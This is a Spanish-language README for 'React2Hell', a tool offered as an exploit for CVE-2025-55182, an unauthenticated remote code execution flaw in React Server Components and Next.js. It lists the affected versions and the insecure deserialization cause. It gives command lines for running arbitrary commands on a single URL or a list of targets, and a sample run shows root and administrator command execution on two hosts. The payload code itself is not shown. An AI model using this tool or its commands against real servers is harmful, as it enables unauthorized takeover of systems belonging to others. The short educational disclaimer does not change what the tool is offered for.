aggressiveuser/react2hell[React2Hell] Exploit de RCE en servidor Next.js/React — CVE-2025-55182
🔥 Ejecución Remota de Código (RCE) en Next.js / React Server
█████▄ ▄▄▄▄▄ ▄▄▄ ▄▄▄▄ ▄▄▄▄▄▄ ████▄ ██ ██ ▄▄▄▄▄ ▄▄ ▄▄
██▄▄██▄ ██▄▄ ██▀██ ██▀▀▀ ██ ▄██▀ ██████ ██▄▄ ██ ██
██ ██ ██▄▄▄ ██▀██ ▀████ ██ ███▄▄ ██ ██ ██▄▄▄ ██▄▄▄ ██▄▄▄
Next.js/React Server RCE Exploit — CVE-2025-55182
Autor: Chetanya Sharma (AggressiveUser)
════════════════════════════════════════════════════════════════════════
usage: new.py [-h] [-u URL] [-l LIST] -c COMMAND [--proxy PROXY] [--proxy-https PROXY_HTTPS]
React2Hell es una potente herramienta de explotación diseñada para probar y explotar CVE-2025-55182, una vulnerabilidad crítica de Ejecución Remota de Código que afecta a Next.js y React Server Actions.
Existe una vulnerabilidad de ejecución remota de código sin autenticación previa en React Server Components versiones 19.0.0, 19.1.0, 19.1.1 y 19.2.0, incluyendo los siguientes paquetes: react-server-dom-parcel, react-server-dom-turbopack y react-server-dom-webpack. El código vulnerable deserializa de forma insegura las cargas útiles de las solicitudes HTTP enviadas a los endpoints de Server Function.
python exploit.py -u https://target.com -c "whoami"
python exploit.py -l urls.txt -c "whoami"
python exploit.py -u https://target.com -c "whoami" --proxy 127.0.0.1:8080
python exploit.py -u https://target.com -c "whoami" --proxy-https 127.0.0.1:8080
http://site1.com
https://site2.com
http://192.168.1.10:3000
PS D:\AggressiveUser_PVT\React2Hell> python.exe .\exploit.py -l .\list.txt -c whoami
█████▄ ▄▄▄▄▄ ▄▄▄ ▄▄▄▄ ▄▄▄▄▄▄ ████▄ ██ ██ ▄▄▄▄▄ ▄▄ ▄▄
██▄▄██▄ ██▄▄ ██▀██ ██▀▀▀ ██ ▄██▀ ██████ ██▄▄ ██ ██
██ ██ ██▄▄▄ ██▀██ ▀████ ██ ███▄▄ ██ ██ ██▄▄▄ ██▄▄▄ ██▄▄▄
Next.js/React Server RCE Exploit — CVE-2025-55182
Autor: Chetanya Sharma (AggressiveUser)
════════════════════════════════════════════════════════════════════════
[+] Cargados 3 objetivos
════════════════════════════════════════════════════════════════════════
[→] Objetivo: http://meow.host:3113/
[→] Ejecutar: whoami
[✓] VULNERABLE — ¡RCE exitoso!
------------------------------------------------------------
root
------------------------------------------------------------
────────────────────────────────────────────────────────────────────────
[→] Objetivo: http://evil.lab:2000/
[→] Ejecutar: whoami
[✗] No vulnerable — Estado: 200
────────────────────────────────────────────────────────────────────────
[→] Objetivo: https://vul.lab:3000/
[→] Ejecutar: whoami
[✓] VULNERABLE — ¡RCE exitoso!
------------------------------------------------------------
win-1fl835ovldc\\administrator
------------------------------------------------------------
────────────────────────────────────────────────────────────────────────
[✓] Escaneo completado — Vulnerables: 2
PS D:\AggressiveUser_PVT\React2Hell>
Esta herramienta se crea estrictamente con fines educativos y de investigación en seguridad. No la utilices en sistemas sin autorización explícita. Eres responsable de tus propios actos.
Si este exploit te ayudó, considera dejar una ⭐ en GitHub ❤️
Chetanya Sharma AggressiveUser
Hecho con 🔥 por alguien a quien le gusta romper y arreglar cosas.